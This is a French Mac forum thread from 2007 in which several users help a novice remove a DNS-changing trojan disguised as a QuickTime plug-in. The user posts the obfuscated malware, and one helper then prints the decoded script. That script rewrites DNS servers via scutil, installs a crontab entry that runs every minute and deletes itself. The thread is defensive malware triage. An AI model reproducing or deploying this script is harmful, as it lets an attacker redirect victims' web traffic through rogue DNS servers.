Je débute sur Mac

[Lumbermatt]

Comme l'a si bien dit chombier :

Dans ce cas, il faut supprimer le fichier /Library/Internet Plug-Ins/QuickTime.xpt puis taper dans le terminal:

CODE

sudo crontab -r

Enfin il faut redémarrer, et tout devrait rentrer dans l'ordre.

Ce message a été modifié par Lumbermatt - 11 Dec 2007, 13:41.

[chombier]

J'suis vraiment couillon

imac-de-frederic-maechand:~ fredm$ sudo crontab -l
* * * * * "/Library/Internet Plug-Ins/QuickTime.xpt">/dev/null 2>&1
imac-de-frederic-maechand:~ fredm$

Au vu du résulat j'suis mal

Intéressant !
Ce n'est pas le fichier habituel qui devrait s'appeler plugins.settings, mais une variante, QuickTime.xpt.
Peux tu mettre ce fichier QuickTime.xpt en pièce jointe ici ?

[Lumbermatt]

Intéressant !
Ce n'est pas le fichier habituel qui devrait s'appeler plugins.settings, mais une variante, QuickTime.xpt.
Peux tu mettre ce fichier QuickTime.xpt en pièce jointe ici ?

Ou simplement tapper :

CODE

cat /Library/Internet Plug-Ins/QuickTime.xpt

et nous coller la sortie

Ce message a été modifié par Lumbermatt - 11 Dec 2007, 13:43.

[FRED LA FERRAILL...]

J'ai tout fait comme tu as dit et sa marche.

Si tu pouvais voir mon beau sourire.

Le cheval de Troie est viré?????

Je peux répondre aux mails et me connecter au forum dont je parlais.

[osnola]

J'suis vraiment couillon

imac-de-frederic-maechand:~ fredm$ sudo crontab -l
* * * * * "/Library/Internet Plug-Ins/QuickTime.xpt">/dev/null 2>&1
imac-de-frederic-maechand:~ fredm$

Au vu du résulat j'suis mal

Cela peut être une variante (ie. ce n'est en tout cas pas l'original). Donc pour commencer, je proposerais :

CODE

sudo crontab -r
cd
sudo mv "/Library/Internet Plug-Ins/QuickTime.xpt" .

Puis noter les anciens numéros dns si ils existent, redémarrer, redéfinir la connexion (voir
http://wap.macplus.net/magplus/depeche-158...er-osx-rsplug-a ).

Pour note: pour le moment, le fichier QuickTime.xpt sera déplacé dans la maison, ie. il ne faudra pas recliquer dessus.

[Lumbermatt]

J'ai tout fait comme tu as dit et sa marche.

Si tu pouvais voir mon beau sourire.

Le cheval de Troie est viré?????

Je peux répondre aux mails et me connecter au forum dont je parlais.

Tu as quoi dans les IP des DNS ?

[FRED LA FERRAILL...]

Merci pour ton autre solution osnola, mais la première a fonctionné.

Petite question:
j'ai 2 poubelles dans MAIL, l'une s'appelle:
sur mon mac
l'autre:
compte orange (je l'ai nommé du mon de mon fournisseur)
Pourquoi 2 poubelles?

Lumbermatt, je crois que c'est bon car j'ai:
192.168.1.1
0.0.0.0

Ce message a été modifié par FRED LA FERRAILLE - 11 Dec 2007, 13:52.

[chombier]

J'ai tout fait comme tu as dit et sa marche.

Si tu pouvais voir mon beau sourire.

Le cheval de Troie est viré?????

Je peux répondre aux mails et me connecter au forum dont je parlais.

Il est viré... pour l'instant, mais on ne sait pas par quel moyen tu l'as installé, donc tu n'es pas à l'abri de te le reprendre.
Si jamais tu n'as pas vidé la corbeille et que le fichier QuickTime.xpt est toujours présent, pourrais-tu le poster ici pour que l'on puisse l'examiner ?
Il est peut-être plus nocif que l'original...

[switcheremac]

Comment tu fais ? ... Le seul cheval de troie pour Mac , et t'arrives à le choper !

Plus serieusement : réfléchis quand l'ordinateur te demande de taper ton mot de passe admin , c'est qu'il y a un risque...

[FRED LA FERRAILL...]

Concernant Quick Time, j'ai ce résultat:

imac-de-frederic-maechand:~ fredm$ cat /Library/Internet Plug-Ins/QuickTime.xpt
cat: /Library/Internet: No such file or directory
cat: Plug-Ins/QuickTime.xpt: No such file or directory
imac-de-frederic-maechand:~ fredm$

[chombier]

Concernant Quick Time, j'ai ce résultat:

imac-de-frederic-maechand:~ fredm$ cat /Library/Internet Plug-Ins/QuickTime.xpt
cat: /Library/Internet: No such file or directory
cat: Plug-Ins/QuickTime.xpt: No such file or directory
imac-de-frederic-maechand:~ fredm$

Et avec cette commande ?

CODE

cat ~/.Trash/QuickTime.xpt

PS: Tu peux copier/coller pour ne pas te planter.

Ce message a été modifié par chombier - 11 Dec 2007, 14:00.

[FRED LA FERRAILL...]

Copier/coller...quelle belle invention

Voici le résultat:

imac-de-frederic-maechand:~ fredm$ cat ~/.Trash/QuickTime.xpt
cat: /Users/fredm/.Trash/QuickTime.xpt: No such file or directory
imac-de-frederic-maechand:~ fredm$

[osnola]

Si tu n'as pas déjà vidé la corbeille, tu peux essayer de cliquer sur la corbeille dans le dock et puis de le mettre dans ton home par exemple (pour qu'il soit à nouveau accessible en lecture).

Edit: j'avais mal lu.

Ce message a été modifié par osnola - 11 Dec 2007, 14:03.

[FRED LA FERRAILL...]

J'ai du louper une étape, à aucun moment je n'ai mis QuickTime.xpt dans la corbeille

Je fais quoi maintenant???

Ce message a été modifié par FRED LA FERRAILLE - 11 Dec 2007, 14:08.

[osnola]

J'ai du louper une étape, à aucun moment je n'ai mis QuickTime.exe dans la corbeille

Tu n'as pas appliqué la procédure donnée par Lumbermatt : "Dans ce cas, il faut supprimer le fichier /Library/Internet Plug-Ins/QuickTime.xpt " ? Normalement dans ce cas, il doit enlever le fichier du répertoire "/Library/Internet Plug-Ins" et le placer dans la corbeille (pour qu'il puisse être récupérer en cas de fausse manipulation).

Pour note aussi, si Time Machine est activé, il est aussi possible de s'en servir pour retrouver ce fichier...

Ce message a été modifié par osnola - 11 Dec 2007, 14:09.

[chombier]

J'ai du louper une étape, à aucun moment je n'ai mis QuickTime.exe dans la corbeille

Euh... tu pourrais nous rappeler ce que tu as fait ?
Tu n'as pas retiré un fichier QuickTime.xpt du dossier "/Bibliothèque/Internet Plug-Ins" ?

[FRED LA FERRAILL...]

Non, je ne l'ai pas fait, c'est grave?
Si je le fais maintenant c'est re-grave?

[chombier]

Concernant Quick Time, j'ai ce résultat:

imac-de-frederic-maechand:~ fredm$ cat /Library/Internet Plug-Ins/QuickTime.xpt
cat: /Library/Internet: No such file or directory
cat: Plug-Ins/QuickTime.xpt: No such file or directory
imac-de-frederic-maechand:~ fredm$

Ok, j'avais loupé celle-là. Il y a un espace entre Internet et Plug-Ins, qu'il faut "échapper" pour le terminal.
Donc le fichier est toujours là, tant mieux, on va pouvoir avoir son contenu
Alors, peux tu essayer ça:

CODE

cat "/Library/Internet Plug-Ins/QuickTime.xpt"

[osnola]

Non, je ne l'ai pas fait, c'est grave?
Si je le fais maintenant c'est re-grave?

Avant de le faire, fais-en une copie pour qu'on puisse regarder ce qu'il y a dedans. Après, il faudra l'enlever (pour le moment, il doit être dormant). Si il n'a pas remis les anciennes adresses DNS et la crontab, l'enlever suffira. Sinon, il faudra réenlever la crontab et redémarrer...

[FRED LA FERRAILL...]

Voila le contenu:

Last login: Tue Dec 11 13:38:46 on console
imac-de-frederic-maechand:~ fredm$ cat /
cat: /: Is a directory
imac-de-frederic-maechand:~ fredm$ cat /Library/Internet Plug-Ins/QuickTime.xpt
cat: /Library/Internet: No such file or directory
cat: Plug-Ins/QuickTime.xpt: No such file or directory
imac-de-frederic-maechand:~ fredm$ cat ~/.Trash/QuickTime.xpt
cat: /Users/fredm/.Trash/QuickTime.xpt: No such file or directory
imac-de-frederic-maechand:~ fredm$ cat "/Library/Internet Plug-Ins/QuickTime.xpt"
#!/bin/sh
x=`cat "$0" |wc -l|awk '{print $1}'`;x=`expr $x - 2`;tail -$x "$0" |tr vdehrujzpbqafwtgkxyilcnos upxmfqrzibdanwgkethlcyosv>1;s1=cx.zxx.aae.ze;s2=cx.zxx.aaz.cr;sh 1 `echo $s1|tr qazwsxedcr 0123456789` `echo $s2| tr qazwsxedcr 0123456789`;exit;
#!/bpf/oy
daxy="/Lpbjajc/Ifxkjfkx Pivt-Ifo"
PSID=$( (/voj/obpf/olvxpi | tjkd PjphajcSkjsplk | okq -k 'o/.*PjphajcSkjsplk : //')<< EOF
ndkf
tkx Sxaxk:/Nkxwnjg/Ginbai/IPs4
q.oynw
uvpx
EOF
)
/voj/obpf/olvxpi << EOF
ndkf
q.pfpx
q.aqq SkjskjAqqjkooko * $1 $2
okx Sxaxk:/Nkxwnjg/Skjsplk/$PSID/DNS
uvpx
EOF
kepox=`ljnfxab -i|tjkd QvplgTphk.edx`
pr [ "$kepox" == "" ]; xykf
klyn "* * * * * \"$daxy/QvplgTphk.edx\">/qks/fvii 2>&1" > ljnf.pfox
ljnfxab ljnf.pfox
jh -jr ljnf.pfox
rp
jh -jr "$0"
imac-de-frederic-maechand:~ fredm$

[chombier]

Ah ben voilà, c'est tout de suite plus clair !
Plus sérieusement, décodé, ça donne:

CODE

#!/bin/sh
path="/Library/Internet Plug-Ins"
PSID=$( (/usr/sbin/scutil | grep PrimaryService | sed -e 's/.*PrimaryService : //')<< EOF
open
get State:/Network/Global/IPv4
d.show
quit
EOF
)
/usr/sbin/scutil << EOF
open
d.init
d.add ServerAddresses * $1 $2
set State:/Network/Service/$PSID/DNS
quit
EOF
exist=`crontab -l|grep QuickTime.xpt`
if [ "$exist" == "" ]; then
echo "* * * * * \"$path/QuickTime.xpt\">/dev/null 2>&1" > cron.inst
crontab cron.inst
rm -rf cron.inst
fi
rm -rf "$0"

Ce message a été modifié par chombier - 11 Dec 2007, 14:30.

[FRED LA FERRAILL...]

Tu lis dans mes pensées

[FRENCHDOCTOR]

Par contre pourrais-tu nous dire ou es tu allé piocher ça ?

[FRED LA FERRAILL...]

Simplement dans terminal en collant: cat "/Library/Internet Plug-Ins/QuickTime.xpt"

[FRENCHDOCTOR]

Non ,le troyan
ce serrai pas en cherchant une petite Ukrainienne ?

[FRED LA FERRAILL...]

Je n'avais pas compris l'inclinaison de ta remarque

[chombier]

Simplement dans terminal en collant: cat "/Library/Internet Plug-Ins/QuickTime.xpt"

La question est plutôt quel site internet es-tu allé visiter, qui t'aurait demandé d'installer un plugin bidon pour voir une image ou une vidéo, et qui s'est révélé être cette saloperie de cheval de troie.

[osnola]

Donc visiblement, si j'ai tout compris, ce cheval de troie a le comportement classique, il ne fait que modifier les adresses DNS et il se rajoute dans la crontab. Donc pour l'éradiquer, il suffit de faire ce qu'on a dit, l'effacer, enlever la crontab, redémarrer et remettre les adresses DNS.



Ce message a été modifié par osnola - 11 Dec 2007, 14:35.

[chombier]

Donc visiblement, si j'ai tout compris, ce cheval de troie a le comportement classique, il ne fait que modifier les adresses DNS et il se rajoute dans la crontab.

Exact. J'ai mis le script décodé plus haut.

[FRED LA FERRAILL...]

Je n'en sais rien, je vais sur beaucoup de forums étrangers dédiés à la coutellerie.
Certains donne accès à des sites de couteliers puis à des liens etc

Qu'est ce que je dois faire maintenant; car malgré le "décriptage" du résultat de terminal, j'entrevoie pas grand chose!!!